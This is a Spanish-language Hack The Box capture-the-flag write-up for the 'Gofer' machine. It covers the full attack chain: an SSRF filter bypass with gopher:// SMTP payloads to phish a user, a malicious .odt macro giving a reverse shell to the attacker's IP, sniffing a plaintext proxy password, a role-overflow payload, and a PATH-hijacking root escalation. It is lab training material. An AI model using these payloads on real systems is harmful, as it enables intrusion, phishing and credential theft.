Hack The Box: Gofer Writeup | Hard

Table of Contents

Hack The Box: Gofer Writeup

Welcome to my detailed writeup of the hard difficulty machine “Gofer” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.236.125 --ulimit 5000 -g
210.129.236.125 -> [22,80,139,445]
 1$ nmap -p22,80,139,445 -sCV 10.129.236.125 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 22:03 CEST
 3Nmap scan report for 10.129.236.125
 4Host is up (0.039s latency).
 5
 6PORT    STATE SERVICE     VERSION
 722/tcp  open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
10|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
11|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
1280/tcp  open  http        Apache httpd 2.4.56
13|_http-title: Did not follow redirect to http://gofer.htb/
14|_http-server-header: Apache/2.4.56 (Debian)
15139/tcp open  netbios-ssn Samba smbd 4.6.2
16445/tcp open  netbios-ssn Samba smbd 4.6.2
17Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
18
19Host script results:
20|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
21|_clock-skew: -1h59m58s
22| smb2-security-mode: 
23|   3:1:1: 
24|_    Message signing enabled but not required
25| smb2-time: 
26|   date: 2024-08-19T18:03:39
27|_  start_date: N/A
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds

Vemos el dominio gofer.htb, así que lo añadimos al /etc/hosts. También vemos expuesto el servicio de SMB.

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.236.125 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 22:05 CEST
 3Nmap scan report for 10.129.236.125
 4Host is up (0.041s latency).
 5Not shown: 1493 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7137/udp   open   netbios-ns
 8217/udp   closed dbase
 9427/udp   closed svrloc
101027/udp  closed unknown
1117205/udp closed unknown
1231412/udp closed unknown
1349190/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

SMB Enumeration

1$ smbmap -H 10.129.236.125 -u 'null'
2[+] Guest session   	IP: 10.129.236.125:445	Name: gofer.htb                                         
3        Disk                                                  	Permissions	Comment
4	----                                                  	-----------	-------
5	print$                                            	NO ACCESS	Printer Drivers
6	shares                                            	READ ONLY	
7	IPC$                                              	NO ACCESS	IPC Service (Samba 4.13.13-Debian)

Como invitado vemos un recurso compartido a nivel de red llamado shares en el cual tenemos permiso de escritura.

Vemos dentro un directorio .backup

1$ smbclient \\\\10.129.236.125\\shares -U 'null' -N
2Try "help" to get a list of possible commands.
3smb: \> dir
4  .                                   D        0  Fri Oct 28 21:32:08 2022
5  ..                                  D        0  Fri Apr 28 13:59:34 2023
6  .backup                            DH        0  Thu Apr 27 14:49:32 2023
7
8		5061888 blocks of size 1024. 2173452 blocks available

Y vemos un fichero mail

1smb: \.backup\> dir
2  .                                   D        0  Thu Apr 27 14:49:32 2023
3  ..                                  D        0  Fri Oct 28 21:32:08 2022
4  mail                                N     1101  Thu Apr 27 14:49:32 2023

Vemos un mensaje

 1$ cat mail
 2From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
 3Return-Path: <jdavis@gofer.htb>
 4X-Original-To: tbuckley@gofer.htb
 5Delivered-To: tbuckley@gofer.htb
 6Received: from gofer.htb (localhost [127.0.0.1])
 7        by gofer.htb (Postfix) with SMTP id C8F7461827
 8        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
 9Subject:Important to read!
10Message-Id: <20221028192857.C8F7461827@gofer.htb>
11Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
12From: jdavis@gofer.htb
13
14Hello guys,
15
16Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.
17
18PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

En el mensaje vemos cosas interesantes, como que Jocelyn tiene el dedo suelto para clickear links, que hay un servicio de mensajería internamente, que como procesador ofimático utilizan libreoffice y que también Tom está trabajando en un web proxy.

HTTP Enumeration

1 whatweb gofer.htb
2http://gofer.htb [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], Email[info@gofer.htb], Frame, HTML5, HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.129.236.125], Lightbox, Script, Title[Gofer]

El sitio web parece que no utiliza ningún CMS por detrás según whatweb.

Write-up Image Viendo la página web en el apartado de Team vemos algunos nombres que habían sido mencionados en el mensaje, así que nos vamos a apuntar todos los nombres de usuario siguiendo el patrón de los usuarios del correo electrónico, primera letra del nombre y apellido.

Aprovechándonos de la capacidad de directory listing, podemos listar contenidos de la máquina y detectamos lo siguiente.. Write-up Image Quizás se interprete código PHP.

Fuzzeando con feroxbuster tampoco encontré nada.

1feroxbuster -u http://gofer.htb/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php

Al no encontrar nada, es hora de enumerar subdominios por si se está aplicando virtual hosting.

Discovering Proxy VHOST

Con wfuzz podemos fuzzear subdominios y ocultando el código de estado 301 encontramos un subdominio nuevo. proxy Write-up Image

Tiene sentido ya que antes en el mensaje se referían a un web proxy.

Añadimos proxy.gofer.htb al /etc/hosts

Y whatweb nos reporta algo distinto que antes

1$ whatweb http://proxy.gofer.htb
2http://proxy.gofer.htb [401 Unauthorized] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.129.236.125], Title[401 Unauthorized], WWW-Authenticate[Restricted Content][Basic]

Para acceder este recurso me pide autenticación. Write-up Image

Me lo pide para cualquier ruta por lo cual no podemos fuzzear. Write-up Image

Probé a fuzzear con los métodos POST, PUT y OPTIONS (ya que a veces options suele tratarse como una solicitud de tipo GET -> HTTP Method Confusion)

1feroxbuster -u http://proxy.gofer.htb -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -m POST,PUT,OPTIONS -x php

¡Y encontramos algo! Write-up Image

1$ curl -X POST http://proxy.gofer.htb/index.php && echo
2<!-- Welcome to Gofer proxy -->
3<html><body>Missing URL parameter !</body></html>

Si nos ponemos en escucha con netcat por el puerto 8081 y con el parámetro url ponemos nuestra dirección IP de atacante y especificamos el puerto 8081…

1$ curl -X POST 'http://proxy.gofer.htb/index.php?url=http://10.10.14.133:8081' && echo
1$ nc -lvnp 8081
2listening on [any] 8081 ...
3connect to [10.10.14.133] from (UNKNOWN) [10.129.236.125] 51384
4GET / HTTP/1.1
5Host: 10.10.14.133:8081
6Accept: */*

En lo primero que pensé es en un Server Side Request Forgery pero vamos a probar algo mas obvio.

Quizás esto sea un proxy que esté alojado en un contenedor o algo así y mediante el parámetro URL carga el contenido de una página web desde el contendor y lo interpreta. Podríamos probar a ver si interpreta código PHP.

Y parece que no. Write-up Image

En HackTricks empecé a probar cosas pero tiene una protección SSRF detrás.

1$ curl -X POST 'http://proxy.gofer.htb/index.php?url=smtp://' && echo
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: smtp:// !</body></html>

Abusing SSRF + Gopher Protocol

En HackTricks intentando saltarme la protección SSRF que tiene me encontré lo siguiente https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery Write-up Image Casualmente se parece mucho al nombre de la máquina así que podemos suponer que van por aquí los tiros.

Además, gopher:// no está en la lista de palabras no permitidas.

1$ curl -X POST 'http://proxy.gofer.htb/index.php?url=smtp://' && echo
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: smtp:// !</body></html>
4┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/gofer/content/Gopherus]
5└──╼ [★]$ curl -X POST 'http://proxy.gofer.htb/index.php?url=gopher://' && echo
6<!-- Welcome to Gofer proxy -->

Podríamos utilizar Gopherus para generar payloads ya que lo que mas me llama la atención es que podemos intentar hacer SSRF a través de gopherus al protocolo SMTP.

Como esta herramienta está desarrollada en python2, vamos a utilizar un PR de un usuario llamado Antabuse-123 el cual convierte la herramienta para utilizarla con python3

Primero clonamos el repositorio.

1git clone https://github.com/tarunkant/Gopherus

Y luego actualizamos la rama a esta PR.

1gh pr checkout 18

¡Y ya podemos utilizar la herramienta!

1$ python3 gopherus3.py -h
2usage: gopherus3.py [-h] [--exploit EXPLOIT]
3
4options:
5  -h, --help         show this help message and exit
6  --exploit EXPLOIT  mysql, postgresql, fastcgi, redis, smtp, zabbix, pymemcache,
7                     rbmemcache, phpmemcache, dmpmemcache

Queremos mandar un mensaje a jhudson que es Jocelyn, esta persona parece que es un poco despistada según el mail que hemos leido antes.

Este es el payload generado

1gopher://127.0.0.1:25/_MAIL%20FROM:jdavis%40gofer.htb%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:jdavis%40gofer.htb%0ASubject:Login%0AMessage:click%20here%20to%20login%20-%3E%20http://10.10.14.133:8081/testing%0A.

Con suerte, si el servidor SMTP está mal configurado este correo se enviará a jhudson@gofer.htb y si sigue siendo igual de descuidada deberíamos de ver una solicitud de este usuario a nuestro sitio web.

Pero tenemos un problema…

1$ curl -X POST 'http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/_MAIL%20FROM:jdavis%40gofer.htb%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:jdavis%40gofer.htb%0ASubject:Login%0AMessage:click%20here%20to%20login%20-%3E%20http://10.10.14.133:8081/testing%0A.' && echo
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: /127 !</body></html>

Después de probar varias cosas, detecté que gofer.htb no está en la lista negra y podremos cargar el recurso de la página principal.

Write-up Image

Después de probar un rato, el payload generado no funciona..

Probando una explotación mas manual, al intentar utilizar el SMTP a través de gopher.. Write-up Image Vemos que se queda colgado, eso es bueno ya que está esperando el input para realizar alguna acción.

Leyendo este post de GitHub. https://github.com/rhamaa/Web-Application-Attack/blob/master/other-vulnerability/service-side-request-forgery/ssrf-and-smtp.md

Después de un rato probando conseguí ver una respuesta del SMTP. Write-up Image

Ahora que ya sabemos que esto funciona, podemos intentar mandar un correo. Probando este payload de HackTricks. Write-up Image

gopher://gofer.htb:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Cadmin@gofer.htb%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Parece ser que el correo se manda. Write-up Image

Foothold

I’ve decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

Leyendo otra vez la nota, podríamos probar a mandar un documento .odt malicioso.

Primero, vamos a probar a ver si este usuario abre las direcciones que le pasamos. Podemos probar a hacer un doble URL-Encode con CyberChef para generar nuestro payload

Write-up Image

¡Y esto tiene buena pinta!

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.236.125 - - [20/Aug/2024 16:40:58] code 404, message File not found
410.129.236.125 - - [20/Aug/2024 16:40:58] "GET /testing HTTP/1.1" 404 -

Podemos utilizar este script de python para generar un documento .odt con un macro malicioso dentro el cual nos enviará una reverse shell a la dirección y puerto que especifiquemos. https://github.com/0bfxgh0st/MMG-LO/blob/main/mmg-odt.py

Generamos el documento malicioso.

1python3 odt.py linux 10.10.14.133 443
2[+] Payload: linux reverse shell
3[+] Creating malicious .odt file
4
5Done.

Lo servimos por el puerto 8081

1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Modificamos el payload. Write-up Image

Y si nos ponemos en escucha con pwncat-cs por el puerto 443, ¡vemos que nos llega la consola interactiva!

Esto significa que el usuario jhudson al ser un poco distraído, ha descargado y abierto el documento adjuntado a través del correo que hemos enviado suplantando a admin@gopher.htb a través del Server Side Request Forgery que hemos explotado abusando del protocolo Gopher. Write-up Image

Podríamos visualizar la flag de usuario..

1(remote) jhudson@gofer.htb:/home/jhudson$ cat user.txt
2b185c3fc3024bb...

User Pivoting

Algo raro que detectamos es que el usuario jhudson pertenece al grupo netdev

1(remote) jhudson@gofer.htb:/home/jhudson$ id
2uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)

netdev: Members of this group can manage network interfaces through the network manager and wicd. cdrom: This group can be used locally to give a set of users access to a CDROM drive and other optical drives

Los usuarios de este grupo pueden gestionar las interfaces de red el equipo. Vamos a tener eso en cuenta.

Si recordamos, se requería de autenticación para acceder al proxy, era una autenticación de tipo Basic por lo cual esa credencial se debe de almacenar en algún archivo en el sistema.

En el archivo /etc/apache2/sites-enabled/000-default.conf

Encontramos lo siguiente

 1<Directory "/var/www/proxy">
 2    DirectoryIndex index.php index.html
 3    Options Indexes FollowSymLinks MultiViews
 4    <Limit GET>
 5        AuthType Basic
 6        AuthName "Restricted Content"
 7        AuthUserFile /etc/apache2/.htpasswd
 8        Require valid-user
 9    </Limit>
10  </Directory>

Vemos un hash correspondiente al usuario tbuckley

1(remote) jhudson@gofer.htb:/etc/apache2/sites-enabled$ cat /etc/apache2/.htpasswd
2tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/

Después de un rato intentando romper el hash no lo conseguí.

1.\hashcat.exe -a 0 -m 1600 .\hash.txt .\rockyou.txt

Me di cuenta de que la máquina tenía la herramienta tcpdump instalada, y me dio por analizar si existía tráfico que podíamos capturar a través de cualquier interfaz de red de la máquina.

1tcpdump -i any
2....
3tcpdump -i any
4tcpdump: data link type LINUX_SLL2
5tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
6listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
714:05:10.923452 eth0  In  IP 10.10.14.133.https > 10.129.236.125.43690: Flags [.], ack 851516718, win 814, options [nop,nop,TS val 1107706382 ecr 3004325324], length 0
814:05:10.923476 eth0  Out IP 10.129.236.125.43690 > 10.10.14.133.https: Flags [P.], seq 1:200, ack 0, win 501, options [nop,nop,TS val 3004325360 ecr 1107706382], length 199
914:05:10.959254 eth0  In  IP 10.10.14.133.https > 10.129.236.125.43690: Flags [.], ack 200, win 835, options [nop,nop,TS val 1107706417 ecr 3004325360], length 0

Y vemos que hay tráfico. Si se hiciera un solicitud HTTP podríamos capturarla y analizarla, así que primero vamos a confirmar si se hace alguna solicitud HTTP.

Para ello utilizamos el parámetro -A y filtramos por paquetes TCP y cuyo destinatario/origen sea el puerto 80 (HTTP).

  1tcpdump -i any -A 'tcp port 80'
  2...
  314:08:01.496889 lo    In  IP localhost.49924 > localhost.http: Flags [S], seq 1942583195, win 65495, options [mss 65495,sackOK,TS val 384437704 ecr 0,nop,wscale 7], length 0
  4E..<..@.@..............Ps.w..........0.........
  5............
  614:08:01.496900 lo    In  IP localhost.http > localhost.49924: Flags [S.], seq 3474896210, ack 1942583196, win 65483, options [mss 65495,sackOK,TS val 384437704 ecr 384437704,nop,wscale 7], length 0
  7E..<..@.@.<..........P.....Rs.w......0.........
  8............
  914:08:01.496908 lo    In  IP localhost.49924 > localhost.http: Flags [.], ack 1, win 512, options [nop,nop,TS val 384437704 ecr 384437704], length 0
 10E..4..@.@..............Ps.w....S.....(.....
 11.......
 1214:08:01.496945 lo    In  IP localhost.49924 > localhost.http: Flags [P.], seq 1:164, ack 1, win 512, options [nop,nop,TS val 384437704 ecr 384437704], length 163: HTTP: GET /?url=http://gofer.htb HTTP/1.1
 13E.....@.@..n...........Ps.w....S...........
 14........GET /?url=http://gofer.htb HTTP/1.1
 15Host: proxy.gofer.htb
 16Authorization: Basic dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=
 17User-Agent: curl/7.74.0
 18Accept: */*
 19
 20
 2114:08:01.496958 lo    In  IP localhost.http > localhost.49924: Flags [.], ack 164, win 511, options [nop,nop,TS val 384437704 ecr 384437704], length 0
 22E..4..@.@.U..........P.....Ss.x?.....(.....
 23.......
 2414:08:01.498364 lo    In  IP localhost.49932 > localhost.http: Flags [S], seq 546175604, win 65495, options [mss 65495,sackOK,TS val 384437706 ecr 0,nop,wscale 7], length 0
 25E..<`;@.@..~...........P ..t.........0.........
 26............
 2714:08:01.498371 lo    In  IP localhost.http > localhost.49932: Flags [S.], seq 903951867, ack 546175605, win 65483, options [mss 65495,sackOK,TS val 384437706 ecr 384437706,nop,wscale 7], length 0
 28E..<..@.@.<..........P..5.5. ..u.....0.........
 29............
 3014:08:01.498376 lo    In  IP localhost.49932 > localhost.http: Flags [.], ack 1, win 512, options [nop,nop,TS val 384437706 ecr 384437706], length 0
 31E..4`<@.@..............P ..u5.5......(.....
 32.......
 3314:08:01.498395 lo    In  IP localhost.49932 > localhost.http: Flags [P.], seq 1:49, ack 1, win 512, options [nop,nop,TS val 384437706 ecr 384437706], length 48: HTTP: GET / HTTP/1.1
 34E..d`=@.@..T...........P ..u5.5......X.....
 35........GET / HTTP/1.1
 36Host: gofer.htb
 37Accept: */*
 38
 39
 4014:08:01.498405 lo    In  IP localhost.http > localhost.49932: Flags [.], ack 49, win 512, options [nop,nop,TS val 384437706 ecr 384437706], length 0
 41E..4=.@.@............P..5.5. ........(.....
 42.......
 4314:08:01.498608 lo    In  IP localhost.http > localhost.49932: Flags [P.], seq 1:29636, ack 49, win 512, options [nop,nop,TS val 384437706 ecr 384437706], length 29635: HTTP: HTTP/1.1 200 OK
 44E.s.=.@.@............P..5.5. .......q......
 45........HTTP/1.1 200 OK
 46Date: Tue, 20 Aug 2024 13:08:01 GMT
 47Server: Apache/2.4.56 (Debian)
 48Last-Modified: Fri, 28 Apr 2023 14:21:26 GMT
 49ETag: "72c4-5fa66303d293d"
 50Accept-Ranges: bytes
 51Content-Length: 29380
 52Vary: Accept-Encoding
 53Content-Type: text/html
 54
 55<!DOCTYPE html>
 56<html lang="en">
 57
 58<head>
 59  <meta charset="utf-8">
 60  <meta content="width=device-width, initial-scale=1.0" name="viewport">
 61
 62  <title>Gofer</title>
 63  <meta content="" name="description">
 64  <meta content="" name="keywords">
 65
 66  <!-- Favicons -->
 67  <link href="assets/img/favicon.png" rel="icon">
 68  <link href="assets/img/apple-touch-icon.png" rel="apple-touch-icon">
 69
 70  <!-- Google Fonts -->
 71  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
 72
 73  <!-- Vendor CSS Files -->
 74  <link href="assets/vendor/aos/aos.css" rel="stylesheet">
 75  <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
 76  <link href="assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
 77  <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
 78  <link href="assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
 79  <link href="assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
 80
 81  <!-- Template Main CSS File -->
 82  <link href="assets/css/style.css" rel="stylesheet">
 83
 84  <!-- =======================================================
 85  * Template Name: Maxim - v4.9.1
 86  * Template URL: https://bootstrapmade.com/maxim-free-onepage-bootstrap-theme/
 87  * Author: BootstrapMade.com
 88  * License: https://bootstrapmade.com/license/
 89  ======================================================== -->
 90</head>
 91
 92<body>
 93
 94  <!-- ======= Header ======= -->
 95  <header id="header" class="fixed-top d-flex align-items-center">
 96    <div class="container d-flex justify-content-between">
 97
 98      <div class="logo">
 99        <h1><a href="index.html">Gofer</a></h1>
100        <!-- Uncomment below if you prefer to use an image logo -->
101        <!-- <a href="index.html"><img src="assets/img/logo.png" alt="" class="img-fluid"></a>-->
102................

Y de repente surgió un “churraco” que era la solicitud y la respuesta íntegra de una petición.

Podemos ver en las cabeceras de la petición algo interesante. Write-up Image

dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=

¡Y parece que son las credenciales de tbuckley codificadas en base64!

1echo "dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk=" | base64 -d && echo 
2tbuckley:ooP4dietie3o_hquaeti

¡Y conseguimos migrar a este usuario!

1(remote) jhudson@gofer.htb:/tmp$ su tbuckley
2Password: 
3tbuckley@gofer:/tmp$ id
4uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)

Privilege Escalation

Detectamos un binario con el bit de SUID cuyo propietario es root y puede ejecutarlo los usuarios del grupo dev y antes hemos visto que tbuckley pertenece a este grupo.

 1tbuckley@gofer:~$ find / \-perm -4000 2>/dev/null
 2/usr/lib/dbus-1.0/dbus-daemon-launch-helper
 3/usr/lib/openssh/ssh-keysign
 4/usr/libexec/polkit-agent-helper-1
 5/usr/bin/fusermount
 6/usr/bin/mount
 7/usr/bin/passwd
 8/usr/bin/umount
 9/usr/bin/gpasswd
10/usr/bin/chsh
11/usr/bin/pkexec
12/usr/bin/su
13/usr/bin/chfn
14/usr/bin/newgrp
15/usr/local/bin/notes
16tbuckley@gofer:~$ ls -la /usr/local/bin/notes
17-rwsr-s--- 1 root dev 17168 Apr 28  2023 /usr/local/bin/notes

Viendo un poco que hace este binario, si probamos a ver si se acontece un BoF pasa lo siguiente. Write-up Image Write-up Image

El nombre de usuario se “recorta”, esto me gusta ya que probablemente se estén jugando con tamaños del buffer pequeños.

Al seguir investigando me di cuenta de que podías crear una nota sin crear un usuario. Write-up Image

Si creamos un usuario y lo borramos nos reporta algo distinto, como si el usuario simplemente no tenga nombre, es decir, no nos reporta que debemos crear un usuario. Write-up Image

Si ahora creamos una nota teniendo esta condición y revisamos el usuario, vemos que podemos sobrescribir tanto el nombre de usuario como el rol. Write-up Image

Hay otros problemas con este binario y otros desbordamientos graves pero este es el que me interesa introducir en el write-up ya que podemos cambiar el rol que tenemos y ¿para qué?

Esta es la opción número 8 para realizar un backup. Write-up Image

Nos pide el rol de admin.

Role Overflow

Vamos a utilizar este repositorio de Github para crear un patrón de forma automática y saber cuantos caracteres (offset) necesitamos para reemplazar el rol. https://github.com/Svenito/exploit-pattern

También podríamos utilizar los módulos en perl que vienen con metasploit, pero prefiero hacerlo de esta manera.

Generamos el patrón.

1$ python3 pattern.py 50
2Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Ahora al repetir el proceso, en vez de introducir A introducimos el patrón creado y copiamos la secuencia que se encuentra en el campo Role Write-up Image

Y ya tenemos el offset.

1python3 pattern.py Aa8Aa9Ab0Ab1Ab2
2Pattern Aa8Aa9Ab0Ab1Ab2 first occurrence at position 24 in pattern.

Ahora generamos el “payload” para cambiar nuestro rol.

1$ python3
2Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
3Type "help", "copyright", "credits" or "license" for more information.
4>>> print("A"*24 + "admin")
5AAAAAAAAAAAAAAAAAAAAAAAAadmin

Y conseguimos cambiar nuestro rol a admin en el binario. Write-up Image

Path Hijacking -> Privesc

Ahora al intentar hacer el backup vemos que se utiliza tar y hace una copia de /opt/notes Write-up Image

Y si con strings listamos las cadenas imprimibles de caracteres y filtramos por tar vemos el comando que se utiliza.

1tbuckley@gofer:~$ strings /usr/local/bin/notes | grep tar
2__libc_start_main
3__gmon_start__
4tar -czvf /root/backups/backup_notes.tar.gz /opt/notes
5__init_array_start
6__libc_start_main@GLIBC_2.2.5
7__data_start
8__gmon_start__
9__bss_start

Desgraciadamente la persona que hizo el binario asignó una ruta relativa a este binario con SUID.

Esto significa que se asigna el SUID 0 root pero utiliza el PATH de nuestro usuario, y podríamos hacer un Path Hijacking para que al ejecutar el comando tar de forma relativa se ejecute un comando que nosotros especifiquemos como el usuario root

Nos dirigimos la directorio /tmp por ejemplo y creamos un archivo tar y le asignamos permisos de ejecución.

1tbuckley@gofer:/tmp$ cat tar
2#!/bin/bash
3
4bash -p
5
6tbuckley@gofer:/tmp$ chmod +x tar

Ahora reemplazamos el path para que la primera coincidencia al buscar el binario de tar se realice en /tmp

1tbuckley@gofer:/tmp$ echo $PATH
2/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
3tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH
4tbuckley@gofer:/tmp$ echo $PATH
5/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Ahora cuando ejecutemos el comando tar se ejecutará nuestro script recién creado siempre que en el path se realice la primera coincidencia en la ruta en la que hemos creado nuestro script malicioso.

Podemos comprobar revisando el PID de la bash que tenemos y podemos ver que al ejecutar tar cambia, esto significa que se está ejecutando correctamente el bash -p del script.

1tbuckley@gofer:/tmp$ echo $$
225146
3tbuckley@gofer:/tmp$ tar
4tbuckley@gofer:/tmp$ echo $$
525942

Ahora realizamos de nuevo el proceso para convertirnos administradores… Creamos un usuario -> Lo borramos -> Creamos una nota con el patrón creado anteriormente (AAAAAAAAAAAAAAAAAAAAAAAAadmin)

1Your choice: 2
2
3
4Username: AAAAAAAAAAAAAAAAAAAAAAAAadmin
5Role: admin

Y al ejecutar la opción 8…

1Your choice: 8
2
3Access granted!
4root@gofer:/tmp# id
5uid=0(root) gid=0(root) groups=0(root),1002(tbuckley),1004(dev)

Nos convertimos en root y ya podemos leer su flag.

1root@gofer:/root# cat root.txt
2f779f67c2b1f8b....

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Gofer   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #RCE   #Exploit   #Linux   #SMB Enumeration   #Information Leakage   #Subdomain Fuzzing   #Server Side Request Forgery   #Gopher   #Malicious ODT   #Phising   #Sniffing HTTP   #Abusing Netdev Group   #User Pivoting   #Abusing Role Overflow   #Path Hijacking   #Privilege Escalation